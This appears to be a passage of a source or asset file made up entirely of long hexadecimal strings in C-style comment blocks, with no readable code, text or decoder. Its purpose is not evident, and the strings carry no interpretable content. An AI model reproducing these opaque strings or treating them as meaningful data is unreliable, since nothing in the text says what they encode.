85f620705bcb532bd8f0069c4ee040cbc95a2ed6ecd1d586e32a4e18ed358cb7a7ef005fa6a075f8f345307ccaebd79c0162688bbbf14b33993d35b75bdbb218e6e923df8059b5b4f4bec1acfdd3e8dc7f5f18088126d9dc039a9c5f0eeae98c610030f1022a24d7d9f1273e59050f7efde379541dd46ddcb5f99b79aa8fa6867710c6fdc63e02d22b0bfe3f3408024cea3c0a87e94afc5b72dcbeb3cff14b76fdd824783acb524301989ffd8c6c06946e9290f50ad1ae8*/
/*9f546a897da731f428c4b4d32acf82b988d230011ddb7c60f4b374da9168c3f4dff4707755bbbef7ded8dc575ee79e3ba111477da9dbfaff6016f76d363e0ce102673e50485d7139e7ab8ed23e29480e71b560f697370272dd387806078cfbb47e2dfc5783d24deb68db003f86e05532921340178cde70afe7b91ae9a3ed47dd239dc0234d9faaf220d871989d9f39435deed1746c8e56d6d1e7ee4278aa0e5f5b8a3c66ed96f8dc61a59df452d6c223aa032310caf58f57dc55cc7fb8ef0ebcf510795b37782229ba49f19bdaeba975411e1c0b58fd792b12ddb046e5e255ef1856dd90f16be4f8028ac2ca64f70e3c84399e5fcb4b851dcaf51e83a33a1d69ab887b1a229b81f7c9e6b71a6c805b54c5e4be85bc5fcfaa4c63f2bdb613792298882a48ec3d0298161916337215457cffe219dd99bcfdecab1f2a1f89a97699d4262ddc9cac2ce732de00a7bccdc2e324ec3793e3f5f2e8983c43e8bc644ed44d831e3e17af8a2f43ab694075000e2c8a2bcd9f4f94c3d4bafda99ae2c331c85f2bc679ad7d177787a1fd4b9741ca8079f26b639a2bbfb81b481dd12ce4eee3e7432605f5733fa6186fa264a90d781d20ec68fac4aedfa2ad354c4d9bf526923008c2ca7350758014b712c711a6bf6c25ded5dbd9126173cb92363782eedc9c9b3e91ec9a0ba9269824e353e8d41d8f8d56de4d726e5ba134fa829d35e3e5360c8d7e961dc23b362bc38704772d95c99f8c5d4ecfd9aecdebc87cc72f6bd726f549c9595e08cfc248639e79e344c82a731c8844192dbecd65d665f58f3e706bcf6cf1d62e479870d47e9e0c4eaa2896a0c0bf1dcff1232fc59aff14aac431ff0ff7ced9d242e20a9b25193771a791692562fae051d7b83e00e2f04f8ff8cd32cc6033e4e46ea820d8aeb7aee78f76f1dca673361fb1f1747825d46ae923cadf1189ff56c9d346fb4c3f88c4355aa5a7dc2568151b729b24f8a4ecb0c201e6a59cf691e32007db64a7a2af259512a599f279e3a451fc8fa49c587f804e3c0bfb81764009dff7f82f0179f443705ecca7b224165e2cced0ba0b2f1c51b7a9e1405cf01f92b3dc4bbf036ed210b928dfb7899d7cff10f490e3b174b8b0152df33b13334281b1939c6503056740dbda0f8f082eb1f3a1623a752437150d75958ca456aa47bcda0e46cb2c40397b26fbdabd70c7e6ddd213850f94a4b153f199483f5cddd426284e28beeea54ea2c32e75837fe81ee223d93d40e28071c83073630d0b1bbd1d81431ec0496fc603b0a046259a4e45f35c80380bdd8f18516fc6b552e884105e13e74acb0562feec267c425228516cd36f3f7b7dbcc14de9cf2e571c81c7965822e2a9add9a93f81a2ad842a828d20de7e81e1c2499aebc1d941278c1847a16c7cb79d98f80b1bda1a4d2d4714150aa71ab4e31a4badf50cf1a53d628baf9173986c97a912cc09417b1b8fa6255e9d8d63696cf9c5c43e790235cb6f3fe631aaf5b564c7360bccbf3ffa6a52601a7147ca2d2996d20835142a4dc26fce8e7371897124ccb7da619911a0babe27c9f216173a6f47d6f9179599d2128a2e9c289ebc445cd20c44da6332dab61e5485a5d6dfb680ccfef327afcd5d5ba28b11e5a2a734b3eb575c35d451b7a946f4b04f83b8fc1d30232374ac04369d194ed343968bba81534ed9fe8e52f092b95365579359f7f9149eee4ca3c1308f10ef41d68ae1b87b84a7defe2b0f570de4095e0fae6857235b7b446df21e265f34440b8390c202d09d7681f01ac75e3e5cd81fb89f8e8145718746d99100dce840c67cdf3e88e58544d63d3dd22082254edc9b354c0b5420395d252a3dbd052313a6cb1aa5ad94b580f8d6b24d6795bfd69bb2a8464abc9a8292e1940aba68ec75668585b69381f0fe3b6e6769bf39c02f77beed51ec8d818a5351da412eff4da1c7100e01a393dc980741a748eb1f13478034b5d8d0f856d9f1da296f411bfe097e38f412decc8192a0509a1dc7ac1482e0e2e31a01d77438a3d3e048467f5674a609af220d3537a4559767b36765a64fb061e37dbd1c2908e3653a09039d68ae9a5b3124a6e30dfb20c21d5ea59e9192bc32d00f2a390db127514c6071b728238bd66f48a389e898d98bf0bed55a82b18615a2f526e9c04b324201d601607cd7f2b61c460894c80965d61c2929b0a120bde6c243b21bf7ab607876f06fd315a3dff7393ab127985af9126e44c3f3fc94615125a93b3aecd538b513813dfe6694a81a37b41266eff530fdcfa935ca6410d1fff4997c7f764470d1347a203f58bb75ab1cdc7b80c20105c2ed54f35ac777d045b1265ee0dd5bf6620c674e1098fe9014207afb235738834dcd6b379fdee9942860285a26667e2e446ab5931a860493c1387800263ac047831f391584136f4e3fffe94eb73d54d4234216614514229a77eeeb8b12408df2ac4ffde6592476ac22f46bae3cb58dd7cb2f77764275c079075eb06d59324da82657e1c1dc6586be27d6f3aff48c44a226e2f0f3b617282b04b9eb1933169a44f0e30ab80b6a43c37bb11f058738428d7ff2899a99de64629965b5e66df1ebdd89bd868001e550cbd29348fb38b47c2fa90c792aba77de388986029bb352b9ccd8888006d16866028428810c67d00b128672114630cef646787c80a9209d939e796ff758a9b23d91713c35f4189cae847b534ae31d4f6ca01390bd0d2f3c5a069c85e6460724003620a3ee4656691a03905b5199fb0160099e62dc1bbe91b524788f74828bc16b888274a00ef530b409853779ba8edbebef323aa3d53a2a83fef366b862527a0d*/
/*df9cdd17c466167f6a518d52805ccaf8e42090321ce639dd35b157add56430222836840a5a281404047123c8ae71dfd50765ee31efbd08e979988ae9a83c5529d9bf51c9d57a01d96db83ff809191fcac6113e7ad1d1f6f07a1b77c360af0e720455b56c3f549fe669e464f56a5f86748d65f00079e4c9495eb1d220bf0583936c567c47d1dc07da8bdda175c4e66964d58af2e7374fbe61b9fc995ae5b98c29ca6c4782dca32dba3c3d8458180185fdc693e62864ee8d60d76ca3c88ff17af28ed9187b479156654377a824ae5bb2825cfbbb84b67af2e883a5b0681d1edf17cda8f1f48432e01f9906179913e24f3fb96fd4140e9a7b5c2f76b59ebea50a39def5e6c806864371d121872933477566071dacb62dfb06ac7eab264b205b89a1ffc6f04d5ee95c846472383c50b73f8fc915e8d247ab145bc92189683e0871a3002e37028724b700b44bae69ab78f987883df943b04e6c05bcc9239be4a3f7a2c3cd61d8eb028cd01392eef457ad07239cfbc4d029b5bcd417f989726af5cb9ffc329425245ce2eba2ad3d9ff77f261e482bc188f11fe59b6b44f5581a9613589b933b53e160a02c20aeb16775cb748205645e3b08ad7ce0787694af668afaed10adef11d07d922cceb281ed6459901e4b1698e8de1724d2fd18a2139c95730b77156cc752ee7d33ea248665490f1b07c01ba6196f6bc1589b21e4870bd3caeb02389ff446e19f9a22670796e202ce3c950f43fc5416a129b75c824e6db6048557c1da253c907627f264c5170d4619519b8eedd2b4ce88297f5b814afdd637cba7fcc196d47c54af503b1ffbfce4516464a55e323c58e635da01e477b1e0cb66610d99b7b097e04b9a3d4ce21f89fa584b270fe8a56cb9b65802c0ee67ac99365db54af040f74a70946914c073fb74877f884c6c98395acd3f2e4dfe0c477916d2259f5844de2b4a0b4854449eaebdbc0a21f0ff46aefb079ba8b769f3e1275290d49e3c9b071047fbc01b42b5d1c012e2e88a94d3012cc3746207c443d819d098e7004f8be2edafca63eec0d46369cc2b14b250f22f4f09805b3dfca0bec30fb960b06f52c3bea2f8b34606f3a16862d5469b9480eba37ad98b6eaf8307b89ec760da59bf11f4831d951eaf04c4cab6854ec6f993bd4f2630d79844eed509b35bb5509f3d21cad3a6181cbb7d612ef3553853c65dba157bd84c1b2c0d363a206f1cb2e0978b4ef7711631e9dfb08f92bd638593a50c100b0f91654da9317fb0617a26c0b5ff28284639c88dde912c1bffd1fa165e75d9594114efcefc00f9e4716ca282b1be49f75f14605b9d8bbc18d2407ebc569680600be517c286b4f0e6d66e6717b2073311b1a80578dbe9f9d8912c1ec9cc1285cdf234879df9386dca1601b3eaf1174d65794bd09e884b6d7766c04a2c2f153c4c5dc155744f9b8b28fb65eba5a8ae3076061bd766fe0eac74e9f976375fd2c61ca419a3af1dc0e7e6de2591aff1afc4a0b61e9a21fdc081dde92e0941901433af08bb19a5a4570e6b0c715c9eafad7b351a91cfd77303a84794a2a6f382577fcb7776f9e05b2e7158624b0c3c1c5a17b6692fc219b417ee5bfb03a2c71bfeb6a3b79511bbc11755402d56fab6b6ec28560adb103383f847deb34724f45012929b0b6bfdab7342f6315fd7a258111f39f383dcab069bd1f6fd9e8b493116168a8d393a8a5b1780cd7c8f9654c7b06f772d31fa284c2ba18d7610180712a2f3f60b1ade91cbb5ba5fb8f4b2c59c2abe63b3f984b182615eee82f56304bd53cf4e9853ecb6182a8aa1b394ed7d81cb1f78f72a9250dc179d03d80c9716580e6160da777981a57ab094b5f7cd375a2febfb77c84cf97f40f2db39e92315dce3ba4b1bab54da74970116d52c722e30cb92cc23796b24a2dbaf67c5774418df6e67664cc3915cf459b95090099eec1c9d3be6e10326240d8a94b897201d9510a022cdb6c82ee7a0734d16b8d3bd0364368d1f364041854a7a0a17de6f1efdaf10a91b07b06f30c649e57a12b9af6678c03ff2a96f738e2ef22126a38e85c30638c562d19f77990452169bf08ff49980c28d86eb6bd21be7472f305b48403d9f11435e61325bd6a107b885a8b955d65fbeeb7803e9dc664abdc12e55884ae1355aaa502185bf19f4798468b2e37416ac5a37b4ba0e07f9c18903057fff17cbe077488ed9e4b18809710516012167370ab2d01e66284caf649d986f11da6cfdaf60223e01e5e4f106b1b5ac6e61ce9ba085c3d47c0f9f3a9d34bbd0e7d91e02975d209c7e5c511183ddf77057cb519873965b7289240bbd366ae3cf37b98faddf1cee38563ebb6a9a9d7056b58098d4ade906fe947e34a7552bb56a3b18c2d1bd4afd85be6d88a9d946e1f2deded5db7948d1f0a3b38b94f19ecad84db53e8a2bdcd7723084c43abb498c2d6ce9f3e170bb36cf6103423054d7d12a4f3685272e1ff2ec403dd96d07b91d04f60cd54ece230b525cc24f3961d9bf9b937f1fdca9ea3e034a97dae8e0aaa8e4097461733a3e3085c1bd4ae439c4468998e51d397f9f70645ac3153c5326fbecabb6b63e87641b2a50fc8d12ab827bb24ae5f7434c7cd61d9c5b68de2c6ccf07a3a4a86b5f91f8de41558bd8d3585f74a1b0600d98825948a8064062ff898e3c3ae3be849fa0f263e9a962fd8cc3c18e857d0085c10dc44a1e6244c3ce9a54e102ed836290600214012a7709ab19f8930b0ad189f916b6915fc856eb9f433a5d61f5028180e78fcbb36b4db123094f6e287b1ab4a6752233221f7f143667469b23fb2462457a765a7e2a3f0e0267143c24*/
/*d0a8cf6ddd1b68c74f6a5b99918aed2eccc7fc1d14fc3a42d2fef94f15557b0be530fe3113c0129bea237c89120439dd59f2fe71b90d4f45ce09b53b4ad8138dd1ecac6a8f4bce71ec1847adf7b97df310f9980943dea8d0577d51309d48a69d8b654ada47d21f6a66de6fe1c4d4f9b88e1566fafa6f7938cdeefcb2f51193ae7ad906668c63ed82f36a31a1c8e8f6492239db158a5c8dbafab20761cd5ce4982f3f40c1a0bf0657396da4a41969bad2f8fb9c9b85e4c74dae22974ac9488fc38e3b2551c824934461c3782c69ad96b5b4b88f47c312b63a940a97c288b575ca6b35b90f934d929292411e48390db56078ddd9250f03c2ad0801c37b1c82762c09bff9aa30687b2d6ebc3ff9bc448dc20e51c49521586fe45aa948c9d6f75d1c61c32821062257413d2e0de3a6cf0ff27bb2e418ddf5e67168e2567c61bed98ec89a8b5ac6f48a0773c22a66f08dcf17d423e20cb5d8f99055f88fb00c61e87edb7d2646bbb068b826786571fb23ffc9dedae3b7260f48201a87795143b9cdf551ef1c921675bcf5140f8b1d3cd10d9d587f0269a790932c4d5fbffa5f5a356f7e3fde036c4a438885193869f0fba53391403d176913a16976c172c7fa11d786ac66aea92f149e28b91b5e3f2493abb0b4e86d529e48cd53763c367f6a8bf06a83c953cae5374e2e63a70c370af6cf84cfeb7ebb6ce051cb8a8635c2d99856dc19d4538d9374e12528da86dbfe60cafa2d5a4c4380d484552f24ac51b919d8d95a0acea46302be4153bc6bb124b6f4c5439753d8ea2dab781598604122feeec976ba20bb9ae02a75dcda42f2f270efe46fd0d0ddf10d3e40c5f754a9b50f45496c81b0f8cdf7531ca85cf8be703960dbf114ffd7ad04503c4277bb4f89771ce1100a031f6863ba5686debc9474bd3137fe5c2ad401f5a4ddd594adf0810030c533e81394c8c79536b24427e749170148c7e36036fca21be0d9c9b79d2ae4a98e91cce6b545c1b19415a7377679f2fc63933b74ab4752f6efc1ea2518ec8056075e9ec6644f2994d1a96934c3b50407dbdb99e652d83b565fa5ae7d4926867bb4972c65472b0d6c8fa4982711774354ac5bf1f5079aaa6f5dda36fb540d3cde460fbacf5942b9b0d4431f56fc145da0ffb641012dd27d06b370b3953d029408a0afc46a87ce9e2ea2ad68784df653dca64f1db401173bf39c3dc5db73fe983882d96741278806679d4879235c8535fe19303417ea2a87ba8156b8852a4d8b9ba3aaa8c77765be7cd4154e1f1d078b8bd91a0675de54c9de699080b93312e4b8da67eca2665ce1460599221712e3956e6e39f8832a25f964fc53339bb6dfadac6b1ff577f094943c59208b8105d35584ee6840359fba9cf7873ead3b1226cb2cdb63d1b75f9a1b13d06157ae0bea29af1f677a868175200877f26d12e4f92ea8b637abec36929f0106fc21385c501202415444e0b453b8907d93fb802502dd65b1faf66348cc2aeff3adcb2bed0bceeaa9496513cef956e3a4fb4266ab326f57c3cbdc5152c5964614727cfe96bd364de6787bd31562b5e13904504f15fa2e5543f7cdaf906c3b22233f785f778c4a5ff5a32d456b37c444498a4bdbf404bdce1ea7ace5b1ed8d8599b028a1196b3077fa5293a3f9445e8b176713bb3a64596a1c07197c46ca9236872f57e3dd88b2851b07e23dec8ca3c15df84824d6820c6a6032bf0306354deb21a1892da4589b6bbcbf0435273bc78b505d67910b7e347f46a854d7baacd4f7aee027a05672fda191f5a8e5201cfd05c9b5929806f85f69640aab7189df28efefd203b17932a13f9060d67ad9bc42d69f874806be00dff7f5f3e2c899337771cfbb91171290ed157ba80e5ab81e8074da447367ec0457b89b4579568ac7ad03fc9314ec95a49713ea9ef8b71197136dbfe4ad861a87739c652a06d67866d22cc42e162f1419989f7c15a13f21d85df6c40fc8c657e53aaa35a6033f71b0b2203b3be477969a4d36e9acbea291e712da850e9f53b0a43db4faf6b1a6ee034a9980a6c25ca9035a12478f27c3fd335b1749faeddeabcdd98213a1826e19d5e9f6e8b67b906a0b584c08f676b0ac39188017c0b38328ea6db184474a8b757dc343a475643bf52ec7d1e17e51f17646289648c5c7726fdb96123cf52f6167a56fd84d63c8133cbbb0026b465b196c6dd55cf98ad5a0d63a00933ffaf3dd9e4ca7066ad954f10a22c8ad339139c805a386e1602bf8a14d6cf388a631d3c039273f73f42dae137612efb5d143205b484e8282d66bb2e9df079e068dbdfa2ea9f1216df7f098a61e3351b1bdbe0709141d48ab4a785f7cd94f18b10d1555ec9b737332696d7b4101b303302a75ab4991aa2f31e9d50d778688bd18ba423e76d6b41829526291a1e9e68164f385a1d956fde2e672783114c07111d2b3679eb08605c3c1f89647f80d54a4e573fefc891cdcba0e0c98011bead138f7a0da20140f5cc76e2805b26f4d060f88c2de90778ac49d88bb92a92f710f8e2fc55150efe27ca09ea641c3c6976c436cff99af67ca59a8f873b7f360e8074d56afe8db4d510b688b6b3796c06e6557b4bd80477e7847ab18710426849f8a46ff0a297b583c4b4418321da43e0092c035c8bc0e0be4885965f12c22526f88be71d4f6354b5c663e59ce4ce68c3149774975ac37976d3a95bb49983980a5bc32685daccb549496d946fd85c12ac55406f3fef497e2a006812dbe9eb04f01ed28ca3c9fc42b8e8e9ba5ded701762e16730d7c6dff543fb5da5c2b9d84e222775eaca72c031173e1694635d870115a95fcf7ea*/
/*7deed89ff17e33f4e6e31e544a43be8dce22493051b3b69c152d1d0114436fbd2b0da9b0cf706cdf1ceedb84d8e77178d7333fcadfae75e7927820db1290da16f0267e4347f49b96806e05f1ff2b2c03eac716deb7d952f50bed2e3b01a4e20051ff9f8aae5731cbae3e1b910a0fc1024f63e673debedc312ce0cce5011ff405543b4aae4ee4aea9cd1cb02200c92c971deab739a020b269686bd26a0a5a88a2c554f2212c40a0f59f34fa4233dd1b4c5c443387c26c2d8e500c78096aa1028ee89ecfda4331685bb503b5da0b5996a0b3b13dadb2e7e257edf68c43bfd0e828b9e951ea235d652d58b92a79743c28b3813d3f7352dc233ddd9a78b14ccb2447edbe0e693e1e8c67111e4cb19cc8c40b641cfd65dac90a6e8a2892e80068ca3de8e7dddb81585b81c26ef7d78d2db4324c74935e3b6717f70185877edbdc82a45820e008365ae4b7f35fd1f1ddc9b90f4b1d0f0279673ac1436c0c622e3c0f9ea12c764a846a0140cada2d291536c6041cce39ebb3583581e483d4e040665bca8fd5858bdaf3e18c6d9050125276706e97105229604fb258f290e7ffd0fc7cdb92412d8432d0f2eb67b49663cdea4909fdfc184e59768f96af5a46fcc8bcaaf6dee8725b77d6c8ffc5481d4d89f06e053717955363f473e1e4111105b6c418972155f0b555839dda59f65c8c1250abce67cbd50d91bfb1bb594a207ca1ed77190301024e247e8245aa4aefa91903ef6a03a5e22c6f61fedf3ecc8dc41554bd3e83c47765f4f9db371e3f83e0aaefa0c78973feb7a91d21cca2af0fe95541a4022ff134d313802124d01e75512284a38ff99a30b480fea1fdbf221f16d16b769087267968258572d3257f8857ff9bc8468e923632db48d0f191a3aa83c4a5cf70fb8958a2f87f87a7accdcef25ef9f541dd2e2c67ab7da69b2d849c1d3e185011db1e0c63a11600437ec3fa4bf5dc128772623abbf25ab613f3a7befc57c6b750317cef78b8d1940d32dbee51870c6461a176f4b6758b363fed2fc855d163f75099978f3de1d83a32a1426876bbda17f281ecdefbb073475b5044c10348a50fdc618e247464a5a7468707c2fe967e40b9c34d4cf49b85875191a11191353dee2634c4a569227a350eea549730b3a0afae131a076864f32b0e01a0e73123450e0fe6fea2c3151e8ee2edfa575f6a3f9aea73a268e077df6126878e7ae40e3d648094be8bff751ba3747596f4073cc3346f9fe1fba250a8c3d44f72b87244d34be24b7679f505f5cd30f6578378c83bf60ab386df2d2de30b0b396d120581ee39173cf01048abd8d1c40623f66f941391cfc58f6fb2e6d2087f8cc9cb17a24fcdb332a5344af0280b626d6d7f6121594c2de34b7899ecedf7ad7fe379038cb80d6eefb4306be56b75ed8190c3cb5338c075f816171340276bfb8a4760cd85e16b560f53b28218a77869c6b6700cbdc106b3270982e26b1ac48f7a51b1a591dd720fb97a43c474e244109e0892d174f528d75dfa7d367a70d2496a68ff8df17cfd8057dadbc64febf49c405a3257d55c708f1d6f0910ad3435c015b8a873fe519cd1ad8d7656c9ec2004c2965282912684a99e7f7af51ea1488e60ce91aed334c1b0163015f365f2103763f824ca54864abb6d6fe15e692433fcb15bede4ad3fcfaf136bf4391f1cf2e3f77f4953afc444e06b42d5cf7174c12a5ae348d4e41752fd0388e698aa2f9fc5b8504ee8401d3c6618f40179fad85eb06ca867cbdf32abad63975860e12a3e0ebfcb43d5946c18d84f230b225f79ffbbea5e7ab4ead483bdb27a144678db062cefe77bbbc1cc671c2db731b1aa2da45bffbf42dd8ea3d227a660d8ee70c1b4fd1c0e5f17029d1b5c37ab94e78d7f5cb5a513f08a2f421e6b288002608863b47017774fb95e3206c62d6d0ced24572c9bf9394fed3b25c5a485e8350cd26e869f2db802f1a98bff90f89fbca8684e95ac225aa6fb29615f30b38e973e1fdb3535ad60bd35bb4d3d6035a0a8e2220838d15323a1bac582356b497de39e27fcb6ef8e5a922fd23a3609e67fbd7d58136d5f9e0728086797130608b35286ddfdf60e463985c90ced19f22b8fbec2a6144e0ec007f156269ab65bc6c0e1d7116e200fef6b0f2aae41a870a93af8c663a5f8d4d84762e8539c829910a82fac8afc921cafbce7d8738e570f5a120d3e1c3470aee92df5fdc65c7826bfdaaffd321e4574313c25ee641d6e91f307270ee7d213a95e67e8ddf96cab368aef2c5872f79a2c34cde89f46ed92b10a1e0e8937a74c9d09bb1626dc315ac543784b1d241a25faf20a15cefd347d5692116b82bce376a54df413b130cc7ffd3f3ff02d26fd0ab33df022fee4e9ecf6159b517b493f3f00a9ba64f4f9d4cd87aa5d3909b25cf4166f8c4c89d5c615fbe0b506dffa35da7f8067c0d110f07a87c0dab66c25964e969d193d2431f7029d4ae5391784850b16d1c2f4d59ce241cefb4bf96bcf6e829d6a0f689535319ea3e482c0633bbee31bd3ba2b19f9357e1c50ba085c971a8c9e34187bf0e13567c4f7cecec89b0b86ca86bd02b04dce1339568ebe254b596716351f52e97c7ad391f5ac19b53c9feae245566f8ce17ce4b930599b35c9483a4ef7552db79ea247c5faa8bbc3aa3c5ccd3328100e07b0ac5c71dde23b465394a648571c683fff452a7017907ca2fc3aff5346710060a489e2acf12e61eb470aa40688fcd6cb31c6010f892008c1c9f92f8c8e2b91f49eb5d83ae7cc7562d648b69ff9671bfd342116c8eb6dd94e36cec22ef99b1f9518fff7fe674de06ddac59387cb6edebb827ca7*/
/*6ee3f72e993e0425bac948e960e2651f250910952232798120db89069cc015906f46ed425226a9946327466d1daa069b7f5d06c7b27d544f295546fd9f61dcd7df06d4ca6892cb3004fce557997d5418a8a3b220801401b86095b622fa790df3b4ed8b566cc26a54ef5e729643a4c8a6fca91507218a9150ea16efa21d917e144eb61021d4ff462244ca99d26e3514503610f3d15d774d6d6659e524d6a9023062c3114719bb44672f653f3d3557f46fab01eabe0fe81c3e26bbb720ae576a18a6b8c2701a6e2de3f9ba83fe48b95d4a2a79b0676be51e9a0ad7d8005b990b0c5ea15ab4d7d66673736f191254ecd8d2c7ca96f9a480709c929e6fe200311c12c7eaf8ce703d13907a8e3744332e185afd3beb76dd23f79b67cddd0606cc8372f6e0c9c2305ef5206d61e232d76d00baf71edc0759d5376985b751eb0a36ef4465ac3d8e14ec0616b9f1ef0e80254840e5a62eb355e872e0ab2ccc1bac26ce97d1ee3f71b85715852a7e2fbfc6e89c6ea1cb8a2e8aaa796cfc7c0507893d44fb7c02a51c3a174d9c4372cc7664c50f6cb6284c8a3b477071bbf5633ba10a37d8e74a29d8ec60aaedb8a322b9bbb938ee9cd322619f2dea42a4e951d227a0ed2259a4d27cacb93f4a6f95727a51bd74fecf43e18f8c559e99cd1938cbc2b9183a5e1f3ffc0ab770b47a1a5c8a18b27b39900ebc01baf17a49dd351e8adc84e4d22e58812974c4507073f32adc3166d0dcd912291da6f801e6e38e93764d9f1282ee7d1d8401861092b1e296c0898f95f147200a02c81dec7066dfee7a3a21784d185c30714bf012972427c6d024c2092d2775f0a3b355da73fc926ccc7d7c2d6e81c93cb69524933c397cc504a680e1cac40132a7035456288fda333d610f280f32f0253c270511d932b50a372565e4d474162995b43fb40169d537250cbe4a9f3a9c5dc1aa5a97aafe2715f9fc63d00c756c8c0fde4162663e003a2e2d02bd59cc8d20d2a30742384ab5bbadd9b9a72cdd5135c195d2d04f82b22ddab595e3b639e98f1cd042022bc25e79ef313c014c07217a2e1cbf81d3d29ec8c68e444ef70fd87fc4effa2a41d7792063f7f52b357a76b1355625fcce2cdd17b3ec831e99ee92b719372e0d7cf1cb7a1a74a76f100fba8e50e127ccc493baae5309b9ce77a0671faf44dcdb64cba92786a6f1313286f4a7b6dec251f1767ea6ace747e8af807daf4e9e53cec9c6bc7e05af28fc921dac2ab61ae60c6bbe32e8f6e3fef096da0998d5df72de2db43bc59f24faea8716c4354d6d8bc3169eee83a9d2b4132112e753c5a6b549b2666bdaefd0b2bf4c2a711033fc4cb7dac49512c3d42a106074448df395814c2132890766c9e40b26b2bf794569772ad16f54ab7c2cfb1c76d53fee0decebf887e4d7a5f9964be31812dbac8658c47500e95e6295d00da48df3812d67c61ac598c9468688f1722cbfd14b305b3050c3c7bc169fa018aca4e8bce3ae1366e5113368fceaf8dced033b98a44418c7860f214fc8a458cb241c4d821fe49019f4c39adcd89089e953b5e003d1ef5c691e5e5edf1c1db25efbf061cb659f5d6c1d834c614c306b3822a5daf6a8510c8b46a8b979590a1d3a761c09a1c1b70c4adbc7dab269240cb2fee155d29a154d7c4b8e048a5bcd8b4c8d8c98d5d97ee607cb9160f0193a6ac77f2f7a67b2b9d1a0e03631fdccc80ae9ef1f9fe0c18cd507f4b1381b7a566fa0788507350762ea455847935848b5396c0d7797ba177b3070fddc6ae5cfbe5c362f0c352b8a9991e35b8f14cab856470f42773afe90836a236cc258c18362f187a40568812f3e67e5f4f8979f3343ff7d05d82e54696eeba36cec048c42b6784b361e63dd31e574b24b50a3f51ed35aff9444db6a86b4e33d8a61457c72ce1618e9f0864f137250a402fde16ad1836fa81ce1afc74f55e297d4bb2ca9bebf8fa0ac516f9f273d4e3a1a573d7bc8affe6cf3c985e96f39a2a6c17d0bdb5e54b602bc57a023eaeb68b104a7f4d2abe3fc5b9b85e785d6425b8d4e15e2323c4ddb75ae01870eaf4f9cbafcfe3d4d758e48ee877f259a62f4424cda6a95227320264d62c3c9c29d692806fcc01a2fe5b4f6d86c841e5e6245efbc622671e36b0c99c815233b1601d4049f5047830db1231e6c951e53c3557a2d9f8c750042b78f7f3a06530e91424e28a9724912def09bec42f8f6047d3d3e1e767eef8a75d7dc224e120f9fc807f0d787d2a293f8ef564b70397ae9418a1f73373a91bbdad1b1698bb449abc2ed8ed368fa61909817552a8f20410dfc49fa63e786f7660bb843f37c01c5b5c33c9941a8e68dcae7f11a9477531c5a4bb750fd4cbfb85e7ed2f9d878c373898be83f87a6afe383a7d9d3780ecb71ce44b093e6f1495d5b158ff8f0d30072a829bd751d2f7cb0c19de56a485fc09fc1df5f115c93fb0ec066cc5b27182fb6941432b60424e748cdcbf5d0a19cf4ebbf3cf2dd682f7be0a6a1a87fa2ad87de837f29700a3b1d9f28d1b811a8297507b2d2fd9b4f54c537373ac6effce1b4c36628afbdd3292e57b0f6f7345ff9944778de03a6f4fa3e0cc177117aed5f77cd5fb7b0de957d4e80a3b6ff86a00dd4a93358fdf5bc3fab48348e6eaef2100f1dba5c48ec99e894f0ee8f8063859e77d6bcb0ea6be01a65eebe4a461c9916c696ac4aed60765c3a5cd044a70bf1ce4660d2c8ab0b4d9191f401bf0bd3e36941f9dc1cbb4d0ec583b95c94d64375dcd252f279fb17422f64c6b1797a41abe7d80f854f413b9a2bddbf46ad96794057924840286503574a7026f4c906333a03ce7837*/
/*36ff45682b5a74e5d4910da4d3154bbf574294b5b28449723aef29d778d00fa5fe85dab76f2ff84527461152b2ef7c71c9990ebef4a6756d1cce1cbee4d290a4345760e54ec226b7ac69ef6878565c248a2638569271a15e7da5bf6a35bd9242cc5b74c050fd26f8097dde242f765cd39e129e1ac6c7efb601e5610ffb5b7bf01366d6f12c45e8dd261838872d358011710bdc796d9cf915e310e982623183601889eb3c534d7990ed7d5bdf800edee42be575e89eebd50a815cdaccd601f344d5cd74e6d2ea6f341a4b08b1077ae1c5c51728bc5c9dc1b3810681b636a369309e5b655641ee78488042e2df2487c0b71f86e9ceef25d542cb46b7c5cfa8bdb0f4e60fbc3ece0ca71b834fc7bd2d72905fbc2d895f5234b87e93ac82f540aeab66f2f4783da47594860ef3ca2b1f80104a771ea99557b595978f9557ff18510201b0f88696bf2febfb5d36a781d8fa67e5996d4628d813ac9ca3eb2524f97c55b67397c6be2b3b4b1ce43851cc781c5b5849f367825f2e1453eb55852a8d4f6e81dbcf49438bcd8401fa6051aa620eb72be9e2e9f285d2b5a73c75d70d76560b8033d42c1587a58455364502636522bfc638a1555df18b004e29d82e5ac769f99c8bd9b9a76511fb1302e58cf7c9e5a98a655133e3ea398442541a96dd907a32e94df833e88182847fe8b77ed212dcd368e9a8f7b8409638122d7d637cebd16b7835246ecb59729945eedda6f170ed9f0a94044e0760471e52072b1eb49d6d4d59edfc234904658c6bb95784eef0a6fad83d6330d68cecebc15646f9d06755340f1a1b7f4f0a6495900d1807473261b8317893c78c4f1b27779556dbf493ca08bd8ef2199a336abb436f5a6cc5f8c7387c0e55a4ba5d56dd34f2eb9959685ef574493b608f73add8f7d927e4cbc21fc41226f13e661deb28734b363451521efd2870cf545efa128a276e14bb6a1c774764f2bba811eeccc114dc0e6891cf4de06999e510be0ae091b7b5f5493e5df9e1078fedc4e148dd2cc34e3c602ba3bef6a38fa6ccf723fb6e8298aee24c7a82cac7304f6ff5e7ee0c67c8ba1c54a81f90064058edc605545185f09fccf2b00c26e993338878f857baa7e34093f3b5c49588a1931462d04d86e9995b439e3115b49272cc303e6f539bccab2a843a9b8f9f726d667c825e536ab4138f2205c84b178016fe7ebb9cbbbfcf5c29766c198515948490ac46a2064c1e827fcf36a5b1a8cfd460db3f128668c6e29f3f0ee586493bac8dc5b10eeb9b9ac5560bea5feec9c1e7adef26d01c8b128ebcb5619500f40bad341e0a79c85eed3a00d90f7ef5e9887fac099273744aa281f63a4bf12f37553480fa10504f092ac1bc5aed7557d32ffb06aaeef78b4cd281872e7850e60d73e4bffdb119f5a8f2292f7c239646c32d121d82a8b765ae8c90deffe94fcaeeada1d08aba311570f6311d27c17a7571ab05d925294604397b753000f81b4d99f70e0b9c9220982034acbc985b414164648435dcc8c7b2da0a6dabab48559a12a617eb23de8646957ac1bd93f7d57f17825b9adbbc4cf1b8759f6b11e89271a50aafa3a09ae4faae817fb87aab676a74d0ad1ec6521e7281beac75587f54dae770acd76f0a3a61a21f39d346767f934291cd83b45edf75bce8d6ac98b4a77838873143d2904fc522626f5b20c82bd322d48d646ae55b273882b65ddd7fd6ab13338a2aad63c78f282688e563b54c0e6394c245e1a52f9f044fb387fc5ccd0cd77f925941b78d51c05e94c1f8ed204cd09882e1b716801d0e6f504b59775a32d9f6c0101b588a8c